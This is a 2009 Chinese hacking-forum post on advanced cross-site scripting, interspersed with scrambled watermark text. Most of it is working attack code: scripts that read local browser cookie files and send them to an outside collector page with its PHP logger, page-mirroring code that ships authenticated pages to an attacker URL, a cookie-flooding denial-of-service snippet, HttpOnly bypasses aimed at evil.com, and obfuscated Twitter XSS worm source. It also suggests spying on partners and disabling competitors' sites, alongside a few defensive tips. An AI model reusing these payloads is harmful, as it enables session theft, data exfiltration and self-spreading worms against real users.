XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页2 p/ ^* A U& r& X* ?" [! p
本帖最后由 racle 于 2009-5-30 09:19 编辑 % F5 i E( c1 m# h% r8 w
8 r/ }4 X+ r; d# j, T5 w- e9 XXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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7 W. V1 G* c$ z! g1 e& v2 Ghttp://bbs.tian6.com/thread-12711-1-1.html/ p9 I* b9 f7 k5 W1 |) \# y& Y
转帖请保留版权( G- A( h9 `* l* ^) L E
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% m8 }! p; ?: g-------------------------------------------前言---------------------------------------------------------2 Q& w9 \4 x1 ~; |9 F. F ?
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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9 z$ w% l8 g7 }; G: y( f2 f如果你还未具备基础XSS知识,以下几个文章建议拜读:3 z1 F( K# ^. T
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
0 l5 R% F, D1 o: Y* Shttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全9 ~4 s( T3 B: b
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
' |, ?9 A( ?& C) g" D6 whttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
) N9 B; U( u; N/ a. `9 e8 \http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
3 ^7 B8 r5 r" v( Ohttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持/ c: ]% S1 m5 P0 L( {0 r" e
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3 J# A1 ~8 R7 Y如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.0 W5 }' ~0 b' I: H+ n
: y5 [2 h1 \! J希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.! N; k9 ^( {6 B& W7 u4 n! L5 H
8 q9 v, ^$ `. Q' A如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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& n& G U5 p* l4 T8 ]" {- dBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大* W; B ?8 F' {$ `
' j5 ]) J2 S8 j. W3 X: q/ ^QQ ZONE,校内网XSS 感染过万QQ ZONE.
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪2 E, L# |; q2 y
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' v+ m; Z2 o+ P5 V- E& T, w+ {复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.0 m1 L; B$ E! W0 @6 w
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! Q8 `1 a, E" d9 M- Y) l跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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' s4 H. B$ V+ z! Z' [如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.0 f- n5 P1 s7 M* X. ^; j
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
4 P7 u) ]5 ~3 w# l$ b我们在这里重点探讨以下几个问题:! `# v2 v; s! z: `# P5 }1 D
1 y4 }0 x8 \5 S% ^" t1 通过XSS,我们能实现什么?
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" o1 m' `0 r: }% x$ X( h2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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* k3 @0 B5 K0 Z1 M4 x& v" \. W3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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8 J# d" a' J3 Z$ T- d4 XSS漏洞在输出和输入两个方面怎么才能避免.0 y/ T6 I/ ]7 z% L
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------------------------------------------研究正题----------------------------------------------------------6 V: K& `1 P3 _, g
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.$ V* }$ _ F6 g6 a1 e0 \
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
0 Z/ m4 a4 S+ P" n7 t2 g; |7 \6 @# M! z复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
- R v2 m9 J2 _ z1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
) }6 T5 }5 y' H' H3 K$ ^2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
2 F4 v' c/ P% C5 A- |: k3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.$ h% U& j2 j2 n
4:Http-only可以采用作为COOKIES保护方式之一.
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8 G; q9 S( t& v7 y(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)+ _& n% e: n5 z& g8 }
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。3 _! J2 k# g* n. h6 |8 b: R
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.) ~$ g5 k) _2 G. B
复制代码IE6使用ajax读取本地文件 <script>9 t; Y% j* y( p& i. ~
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',* i+ r" X5 r8 m/ G( E J5 O/ K
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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try {
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var _x = ajax_obj();
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function _7or3(_m,action,argv){7 ?+ H* `. z& h9 }
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_x.open(_m,action,false);
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_x.send(argv);
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! _ h4 y- v+ y) w1 P4 l return _x.responseText;1 h: k- A9 O% z+ i2 u3 ]0 r
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3 y. A% C h. U8 c var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);' Y/ n) h: _! o' ]
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. i9 o# n$ A6 s, C9 R0 I7 b </script>0 |. F8 C% u0 |' E3 C0 N7 V
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function ajax_obj(){
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request = new XMLHttpRequest();
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2 }* I |! c8 T: a3 Z5 u/ W. @9 ]: W var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% z2 e( }, N4 W- s8 i8 _
1 y. o$ i6 _; z- ` for(var i=0; i<versions.length; i++) {
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try {8 G( o1 d" ~' v! W. y: V- z+ B3 I
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function _7or3(_m,action,argv){
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_x.send(argv);: E" O6 c' ?( Z! S: {: V* w
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alert(txt);- g9 y" Z/ l. o6 D
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</script>( [0 W$ ~% j8 }
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”8 M+ ^! l3 Y$ |* `8 T" l
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"- c5 f$ e l" u$ @( ~6 }0 W
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/* ! }! `7 q0 C1 n: k! U' p
1 Q4 q" r7 b6 t8 c; Q; s- W Chrome 1.0.154.53 use ajax read local txt file and upload exp
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author voidloafer@gmail.com 2009-4-22 ( t% E' A# S9 ~8 O9 i5 a) B
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. ; o/ ?, B& f1 a1 T
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$ K" I0 I8 V/ d6 K2 M+ @, Hheader("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx");
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set header, so just download html file,and open it at local. z0 _- L7 X5 e& L0 z. d
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?>
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2 z; _# ~/ E; \& P' p9 [, h<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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% a- p5 F% v) D <input id="input" name="cookie" value="" type="hidden">
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: ^0 A% _( `: Y+ n8 _<script> ( x- z* |" h* a
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function doMyAjax(user)
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{
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var time = Math.random();
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/*
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 5 p, q1 K E7 Y
# T% S' G6 ^( ^7 s1 eand so on...
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 4 y0 ^: H3 `3 o/ M3 R
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startRequest(strPer);
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1 ? [1 H4 Y' q( T0 _3 lfunction Enshellcode(txt) 2 v3 T9 O8 F, A7 m, _6 x8 R2 X4 j( n
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var url=new String(txt);
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* f# s. `6 H* v; P2 T. X) Nvar i=0,l=0,k=0,curl="";
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l= url.length; " I; I: Z# A# q6 m" R- ^
! Y/ z, Y" _ U; u4 vfor(;i<l;i++){ 8 i# S% z0 b2 `1 A
d, e. {8 r! c9 c6 e7 {# J- x
k=url.charCodeAt(i);
7 s! e, K! |+ E7 k! P. c# [) ^) V7 x, [# d% {
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 2 o3 H% @% b; B1 S% P
7 D& ]" ~1 [1 Z) y
if (l%2){curl+="00";}else{curl+="0000";}
1 G8 L* X! T7 f2 u2 D* z9 P# `* P
2 \" ^% T* k2 Zcurl=curl.replace(/(..)(..)/g,"%u$2$1"); + a3 a) c- k( e0 S
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return curl;
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}
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% X8 s6 V; `3 x/ X/ ]* ^var xmlHttp;
% R/ Q$ R5 i; r5 k+ e( q" |/ J2 m. w$ F
function createXMLHttp(){
' g r1 D% a$ }" ~+ j [ h e( k+ x
if(window.XMLHttpRequest){ + a0 f# N' K e" K
/ Y! {) n: B1 q J/ `! cxmlHttp = new XMLHttpRequest();
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} - E9 d9 _5 u" M5 Y. M
# _9 p: e+ H8 p( D% ^1 N/ I
else if(window.ActiveXObject){
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0 Q9 C0 [% l9 hxmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ( T I7 W( j9 d/ i' d! U
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} 3 N5 u) F% `: d
3 }) [! }, M, z& K
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9 `9 F( ^$ c& h0 S& b1 Bfunction startRequest(doUrl){
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# p, d6 I* t3 e
8 g* v& M I- V# J! Z createXMLHttp(); 8 S9 L# q# Z) s1 f2 D9 Q& d
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); 1 B9 I5 _4 S9 H0 _" N1 A
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}
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/ M' x/ [8 y3 y4 j) W* ^( ~! I
: X! _$ b+ M9 B' y" zfunction handleStateChange(){
( y2 t0 u7 Y: Z2 W" |
7 x R- Q8 [5 K4 ]( a2 f( a0 y if (xmlHttp.readyState == 4 ){ ) @. b% G/ F+ X5 a
& J9 ]6 t/ I- Z' [, ~3 u# `! K var strResponse = ""; V" l+ `2 W8 H) m" K; y
: w3 s! D; [ `3 Z& S) `
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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7 N/ t. ~& z( c" I- A }
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2 }( t5 Y. s3 x}
1 J( z" {* T$ G$ [" Q! w4 x/ }# q3 @5 d
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function framekxlzxPost(text) * G4 S0 w f# }$ o7 e
* _- M3 D1 A! Z; u5 Z$ v
{ # m. |0 j* o' i1 k7 X
) x! N9 Q8 {4 |# @# R* o document.getElementById("input").value = Enshellcode(text); # t0 @9 {# `& _' s" A' W R2 x
4 o/ M6 q1 U+ f0 S document.getElementById("form").submit();
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! P; R% U& B9 E4 i) b: `}
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# } z! B" \" u, x
: _# U, X7 Z. q
; S# ?, M9 C4 ]" X' q& ndoMyAjax("administrator");
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N3 e5 J" i/ R; C) z0 {# S7 Z
# H. a9 Z8 z8 F, F& [" g( \" h</script>
6 d+ f) o; B; h复制代码opera 9.52使用ajax读取本地COOKIES文件<script> 5 S, `/ x5 K* C$ S1 {! J& u
$ h' S; S d. ]6 C3 Y4 q. avar xmlHttp;
3 h! q- j/ w2 ~ g' d
/ C: }% r/ Y# z1 v0 P. n8 Lfunction createXMLHttp(){ " \6 a: A, B, z) m& X0 G
* l: r$ }+ H( t% F. ^/ k! {
if(window.XMLHttpRequest){ 7 e D; Y# A# N6 `. l' H
5 d7 C, p3 {3 K& I! p. E1 W) A xmlHttp = new XMLHttpRequest(); ( ~. B5 j2 f! d4 N
* O3 H% n4 q/ Q) m }
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else if(window.ActiveXObject){
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+ [0 P/ v n. N. D xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 0 K" y) o) @5 g0 E9 L3 Y# H+ ~
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}
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" P, N* D# }" {7 w) r7 r}
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! a1 b! e+ H0 C/ n+ F6 G7 n! C" `5 M: R; Y7 u7 d8 m# z
function startRequest(doUrl){
) W1 c! y) A" Z" N( R1 G; V! j7 U( x: Z
1 d8 k3 r- R2 V( H9 r: e% c
. _4 D' e; e, _3 Y) x createXMLHttp(); $ H x# ?$ I9 h2 M; M# a
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% F% p' E% I3 F0 Q
) ?( f6 j ]. ^ xmlHttp.onreadystatechange = handleStateChange; & x6 m2 [2 @+ O* p
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xmlHttp.open("GET", doUrl, true); ! [! A6 l8 Z1 i4 s) d$ O
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xmlHttp.send(null);
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0 p% f& C4 \' g- Y0 ?1 v1 B( b: p - q9 C& h. e8 g" b/ X: z3 @: Z% a
* K: o- o2 ]8 j; lfunction handleStateChange(){
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if (xmlHttp.readyState == 4 ){
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& @* e( K$ c& D- U: Z var strResponse = "";
O) e$ I* m; d. W- {7 B/ ^, a6 q: s6 j* a1 A
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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} & c5 G3 R' Y3 c( [. v4 P9 y% ~
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, L& c" R' n: X2 ?9 b) Vfunction doMyAjax(user,file)
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, x$ I; k: Q; o1 p Q. E6 ?6 F{
3 \/ N. }+ }% k
. I8 `; x: l6 C$ M* q var time = Math.random();
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 7 W: }9 s9 \7 B4 |2 ? e
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/ Q* A+ @7 R- U2 H5 j/ H startRequest(strPer); ) j1 d- z( T, P, `$ v: c( @
- {$ U: ]+ V7 s/ W2 v : k5 q& i _0 ^( v3 c4 Y- j! }
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4 S8 n6 ?+ ~* @7 P' J ( {+ m( v3 l ` D6 _" @( |
* l5 U5 K/ x( W& Dfunction framekxlzxPost(text)
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{
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+ X+ |& g6 {. c k6 g, Y8 Z4 ?9 D document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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, ?% u) G' G& n; x A* I alert(/ok/); / `2 w8 _1 s, S6 L8 b) u
+ i% a+ W r& e! q3 _/ y
} 6 s0 \) S* s; {1 v( k
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# z7 p E- x N# OdoMyAjax('administrator','administrator@alibaba[1].txt');
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+ s9 G" m9 |, L( }9 | 8 z t; H8 W( }4 D) E
& X' _% v* O6 J0 D9 `( `3 i. O</script>- @4 V* Q" N: R
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a.php+ h% H1 F I2 |; J* @/ O6 R
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<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; ; Y7 b5 U5 m3 P$ d- s
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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: Y% G: S( O+ j; E, i# k$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); . ~8 P* s0 ]2 j) b/ ]; f9 l3 `
" {6 m3 L: B( L7 afwrite($fp,$_GET["cookie"]);
* i' |% O2 ]8 d3 O4 m/ @5 w2 w0 e& m+ o) i, [
fclose($fp); 6 G4 _2 k6 ]" e# c( r
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:$ k2 G: ? U8 ]% d( P# C3 ?
/ i: R3 n) m* ]/ I/ V2 D9 S或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.9 L1 g( Q" P, Y3 B% A0 ^" h% o
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);* P2 {3 f6 \8 f. B2 @
6 }( Y- b: t* d5 Y3 M//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);4 z' B a* |- A3 E; r/ y( C
; G9 p2 t" n0 I- gfunction getURL(s) {
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var image = new Image();
% w5 t; p) E# G# a
4 h5 a X+ F6 u* {+ X' U& B$ dimage.style.width = 0;5 @) g C! ` v9 n* g
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image.style.height = 0;* \( I# S2 W! S( }0 _ x8 r
2 K9 \2 j: {' Oimage.src = s;
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0 }( _ s- B9 D5 {. w& h}. ^' V, j$ G& t
0 j& J% o2 |6 egetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);5 q7 f/ e/ h$ W0 e
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
* @ I& L d1 f' j这里引用大风的一段简单代码:<script language="javascript"># V! T$ z0 u0 S C8 \
+ [ x6 ~5 k7 E. l0 N, uvar metastr = "AAAAAAAAAA"; // 10 A
: |5 V+ B8 d( i/ [2 l7 i
7 K1 a9 }# B/ ~' P$ Uvar str = "";* D6 d# E5 K' L+ Q: I& \
0 r2 v' c6 F" ]% W9 f* j- }+ Q. Twhile (str.length < 4000){
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str += metastr;
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
, F. \! R: `3 Y, P- d复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.7 k _7 z5 @, J9 t2 T4 F
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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% H$ g- m$ S+ ]" W L l [假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com." m' N( Z4 Q; b
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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' E. [) M" ? L(III) Http only bypass 与 补救对策:, t9 T0 ^ L) Z5 T
" f+ c7 F' c& q+ E4 A5 Z1 }什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
+ A2 U% f, g+ T. t以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">+ d' m5 _+ N0 L% w$ T5 w9 G2 o
0 M8 p$ q! x% w<!--% Y0 ^( t+ p5 s* v
% l% W" N# y8 ]( c( a
function normalCookie() { ; ?3 Q" ` S, W5 W! u! H+ L
( x2 H( F3 ]9 |: r6 g q
document.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);) Z" y$ j6 B/ v
6 n" _* a7 j' y
}
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function httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}5 Z( e7 C" `) Z: y' d
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; S! N6 {8 D" v [: |" q//-->3 s- L2 k& ]3 n& T
. n2 G3 h% y& f, y3 n1 I5 X* ]1 g) e</script>$ v* ?! C/ C2 P' g
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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% H+ p8 Y3 A( b4 A: `4 Z<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM> ^9 N$ b* o! i
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>8 m" Y; _# W9 t# ?- b9 ^+ {
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5 k; Q( E9 p+ C# C; B7 Q! X8 a4 g/ g! A/ C \0 A
var request = false;1 S0 C% |* K5 e4 l
+ V+ S* P. b9 k! K1 o if(window.XMLHttpRequest) {& V. H/ p% m C% s/ v2 N
6 D; a+ s" g( \/ g! G* Q request = new XMLHttpRequest();5 U( |3 B6 J- [" M$ x0 \2 p) X# L0 ?
9 V/ I8 \. x9 e" q+ a if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');
( X" g9 P3 X% N: H3 a% i1 d' F+ Z% y2 N" Q' I# m' [# ~ {
}, o3 l: B6 l! ^) w7 O
9 q! A3 s( R- c& a } else if(window.ActiveXObject) {9 u% j. o/ [/ t/ ~
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];$ _ v' ~1 m8 J; p- E) g
0 N0 |4 {- F* u for(var i=0; i<versions.length; i++) {8 ]9 ~1 j) M) `. X- D9 G, d
6 I( P! _5 f2 W: W Q
try {2 {$ o% H# W7 `, ^- a: F! s2 G
' \$ @& Z1 C1 k: D- G request = new ActiveXObject(versions);
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} catch(e) {}% A: w9 O) t6 L6 n0 r% V
8 U! A: o5 r- {; {! {$ ]1 w/ [
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$ o" V5 w" R2 r% J5 ~: mxmlHttp=request;
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; H* ]4 T& M6 l" |& K6 l$ z# xxmlHttp.open("TRACE","http://www.vul.com",false);
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xmlHttp.send(null);, g3 ]/ P2 ^3 O2 g; E V9 h2 R
* c9 [% A! f+ k7 R& U$ {8 b. n4 N3 KxmlDoc=xmlHttp.responseText;
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# R& z6 p0 Q5 [8 g4 i/ R7 |+ qalert(xmlDoc);
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4 Q8 p6 a! a$ M N1 A" }+ l</script>% h& N; ], G- n
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
% \6 h4 U; Y5 k2 J# ]6 g) A; |8 T& [: F/ {4 R) {- j" @
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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* g& ^$ O/ a/ _' E- q+ D* }- \: I$ zXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");; W G) O6 T; Q% h" z( n/ i% H6 X
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XmlHttp.send(null);
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var resource=xmlHttp.responseText0 ]6 s, `8 \ p! j( ]
! y9 z, e, U) ~2 fresource.search(/cookies/);! x& d* m) M0 v" C2 w$ d
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......................* A" k% A5 f M
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</script>
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. h; y* Y3 e9 K# E; s9 J1 I- F5 S& B如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
2 Q k! _7 ?. \% y: Q2 s9 o/ J8 d; D7 X$ M' X0 p" [+ a. D
[code]2 C2 V& n5 r5 m: }* y$ r" S; T
! p& o9 s, [' H: K$ ^2 E* q$ u/ WRewriteEngine On
) j3 N' k X B& w0 X: c" P5 v+ Z- T
4 L( Y' G1 \, S& Q+ K eRewriteCond %{REQUEST_METHOD} ^TRACE, u* { j7 F" r/ E- ]7 b
6 \ `$ w5 w7 C9 h nRewriteRule .* - [F]
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j! \8 [) F* g" U+ {0 X3 Q3 v. V0 _1 z% G+ e h o6 X
: G% d* F# W. n! VSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求1 C! M1 z& G. E" u7 `$ ?
. T& m3 g& a# p0 z* eacl TRACE method TRACE" q( ~8 p& d' [+ e; v0 h. e6 I
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...
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http_access deny TRACE" c! N1 H4 ]2 E" h) `
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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% F3 o% T4 u' t$ zvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);1 G% h2 d$ M- m& j* O$ _& C
- [' Y; K& Z6 R% hXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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3 [; d1 E5 _; r( jXmlHttp.send(null);
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</script>1 T* e9 c) T& j+ P
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>/ }1 K7 C% p6 O( e" Z/ I
- m7 n- I( H& X9 i% kvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");$ h+ J9 d4 j$ w7 q/ i! D/ S9 _, {$ l
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2 E# `+ ~( Y( @) t4 }5 i: F0 H5 AXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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; ^6 e8 t! U4 H3 d. K/ Q) \XmlHttp.send(null);
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1 N& D7 `6 D1 j<script>
" i& r7 O* l7 k复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.8 M, V: T/ W8 [. \
复制代码案例:Twitter 蠕蟲五度發威; m) Z" v% u8 C1 S# o$ A, M6 P/ S
第一版:
* T8 n0 b# `( x3 R9 F6 J' @0 p 下载 (5.1 KB)
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6 天前 08:27( C+ R7 V. a$ B1 W$ D& M4 U; `
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 8 }3 D! K1 }5 f0 ]% q! P! B* I" y
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2.
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3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false; % Q/ a! X/ X$ M7 ]2 v& W$ w
& @/ ]6 G& @5 Z/ E+ \& r& k 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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7 c( ]7 b% N+ S/ M/ n: n 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 7 j6 c& E* g0 I
